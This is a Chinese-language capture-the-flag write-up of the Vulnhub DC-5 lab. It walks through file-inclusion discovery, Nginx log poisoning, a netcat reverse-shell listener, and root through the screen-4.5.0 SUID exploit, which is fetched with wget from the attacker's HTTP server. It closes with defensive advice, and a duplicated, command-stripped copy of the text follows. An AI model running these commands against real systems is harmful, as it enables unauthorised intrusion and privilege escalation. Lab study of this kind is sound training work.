vulnhub系列13—DC 5
字数 1286 2025-08-12 11:34:21

DC-5 靶场渗透测试教学文档

1. 靶场概述

DC-5 是 Vulnhub 上的一个渗透测试靶机,难度中等,主要考察文件包含漏洞利用和权限提升技术。本教学文档将详细讲解从信息收集到最终获取 root 权限的完整过程。

2. 环境准备

  • 攻击机:Kali Linux
  • 靶机:DC-5 (IP: 192.168.56.174)
  • 工具:netdiscover, nmap, wfuzz, Burp Suite

3. 渗透测试过程

3.1 信息收集

3.1.1 网络发现

使用 netdiscover 扫描局域网内的主机:

netdiscover -r 192.168.56.0/24

3.1.2 端口和服务扫描

使用 nmap 进行详细扫描:

nmap -sV -Pn -sC -A 192.168.56.174

3.2 Web 应用测试

3.2.1 发现文件包含漏洞

访问目标 Web 服务(80端口),发现存在文件包含漏洞的 URL:

http://192.168.56.174/thankyou.php?firstname=qwde&lastname=asd&country=australia&subject=asd

3.2.2 参数模糊测试

使用 wfuzz 进行参数模糊测试:

wfuzz -u http://192.168.56.174/thankyou.php?FUZZ=/etc/passwd -w /usr/share/wfuzz/wordlist/general/big.txt --hl 42

发现 file 参数存在文件包含漏洞。

3.2.3 利用 Nginx 日志文件包含

由于目标是 Nginx 服务器,可以尝试包含 Nginx 的日志文件来写入 shell:

http://192.168.56.174/thankyou.php?file=/var/log/nginx/error.log

3.3 获取反弹 Shell

3.3.1 写入恶意代码

由于直接写入可能会被编码,可以使用 Burp Suite 拦截请求并修改,避免编码问题。

3.3.2 建立反弹 Shell

在 Kali 上监听:

nc -lvnp 4444

通过文件包含执行反弹 shell 命令。

3.3.3 稳定 Shell

获取初始 shell 后,升级为稳定 shell:

python -c "import pty;pty.spawn('/bin/bash');"

3.4 权限提升

3.4.1 查找 SUID 文件

查找具有 SUID 权限的文件:

find / -perm -u=s -type f 2>/dev/null

发现可利用的 screen-4.5.0 程序。

3.4.2 搜索和利用 EXP

搜索 screen-4.5.0 的漏洞利用:

searchsploit screen 4.5.0

找到相关 exploit (41154.sh)。

3.4.3 准备 exploit 文件

  1. 在 Kali 上启动 Python HTTP 服务:
python3 -m http.server 8000
  1. 在靶机上下载 exploit:
wget http://<kali_ip>:8000/41154.sh
  1. 赋予执行权限并运行:
chmod 777 41154.sh
./41154.sh

3.4.4 获取 root 权限

exploit 执行后会生成 rootshell 文件,运行即可获得 root 权限:

./rootshell

4. 关键点总结

  1. 文件包含漏洞发现:通过参数模糊测试发现 file 参数存在文件包含漏洞
  2. 日志文件利用:利用 Nginx 日志文件包含实现代码执行
  3. 反弹 Shell 技巧:注意编码问题,使用 Burp Suite 进行请求修改
  4. 权限提升方法:通过 screen-4.5.0 的 SUID 漏洞获取 root 权限
  5. Exploit 利用:正确准备和运行 exploit 文件是提权的关键

5. 防御建议

  1. 修复文件包含漏洞,限制文件包含路径
  2. 及时更新存在漏洞的软件(如 screen)
  3. 合理设置文件权限,避免不必要的 SUID 权限
  4. 配置 Web 服务器日志文件的访问权限
  5. 实施输入验证和过滤

6. 参考资源

  • Vulnhub DC-5 下载页面
  • Exploit Database (41154.sh)
  • Nginx 安全配置指南
  • Linux 权限管理最佳实践
DC-5 靶场渗透测试教学文档 1. 靶场概述 DC-5 是 Vulnhub 上的一个渗透测试靶机,难度中等,主要考察文件包含漏洞利用和权限提升技术。本教学文档将详细讲解从信息收集到最终获取 root 权限的完整过程。 2. 环境准备 攻击机:Kali Linux 靶机:DC-5 (IP: 192.168.56.174) 工具:netdiscover, nmap, wfuzz, Burp Suite 3. 渗透测试过程 3.1 信息收集 3.1.1 网络发现 使用 netdiscover 扫描局域网内的主机: 3.1.2 端口和服务扫描 使用 nmap 进行详细扫描: 3.2 Web 应用测试 3.2.1 发现文件包含漏洞 访问目标 Web 服务(80端口),发现存在文件包含漏洞的 URL: 3.2.2 参数模糊测试 使用 wfuzz 进行参数模糊测试: 发现 file 参数存在文件包含漏洞。 3.2.3 利用 Nginx 日志文件包含 由于目标是 Nginx 服务器,可以尝试包含 Nginx 的日志文件来写入 shell: 3.3 获取反弹 Shell 3.3.1 写入恶意代码 由于直接写入可能会被编码,可以使用 Burp Suite 拦截请求并修改,避免编码问题。 3.3.2 建立反弹 Shell 在 Kali 上监听: 通过文件包含执行反弹 shell 命令。 3.3.3 稳定 Shell 获取初始 shell 后,升级为稳定 shell: 3.4 权限提升 3.4.1 查找 SUID 文件 查找具有 SUID 权限的文件: 发现可利用的 screen-4.5.0 程序。 3.4.2 搜索和利用 EXP 搜索 screen-4.5.0 的漏洞利用: 找到相关 exploit (41154.sh)。 3.4.3 准备 exploit 文件 在 Kali 上启动 Python HTTP 服务: 在靶机上下载 exploit: 赋予执行权限并运行: 3.4.4 获取 root 权限 exploit 执行后会生成 rootshell 文件,运行即可获得 root 权限: 4. 关键点总结 文件包含漏洞发现 :通过参数模糊测试发现 file 参数存在文件包含漏洞 日志文件利用 :利用 Nginx 日志文件包含实现代码执行 反弹 Shell 技巧 :注意编码问题,使用 Burp Suite 进行请求修改 权限提升方法 :通过 screen-4.5.0 的 SUID 漏洞获取 root 权限 Exploit 利用 :正确准备和运行 exploit 文件是提权的关键 5. 防御建议 修复文件包含漏洞,限制文件包含路径 及时更新存在漏洞的软件(如 screen) 合理设置文件权限,避免不必要的 SUID 权限 配置 Web 服务器日志文件的访问权限 实施输入验证和过滤 6. 参考资源 Vulnhub DC-5 下载页面 Exploit Database (41154.sh) Nginx 安全配置指南 Linux 权限管理最佳实践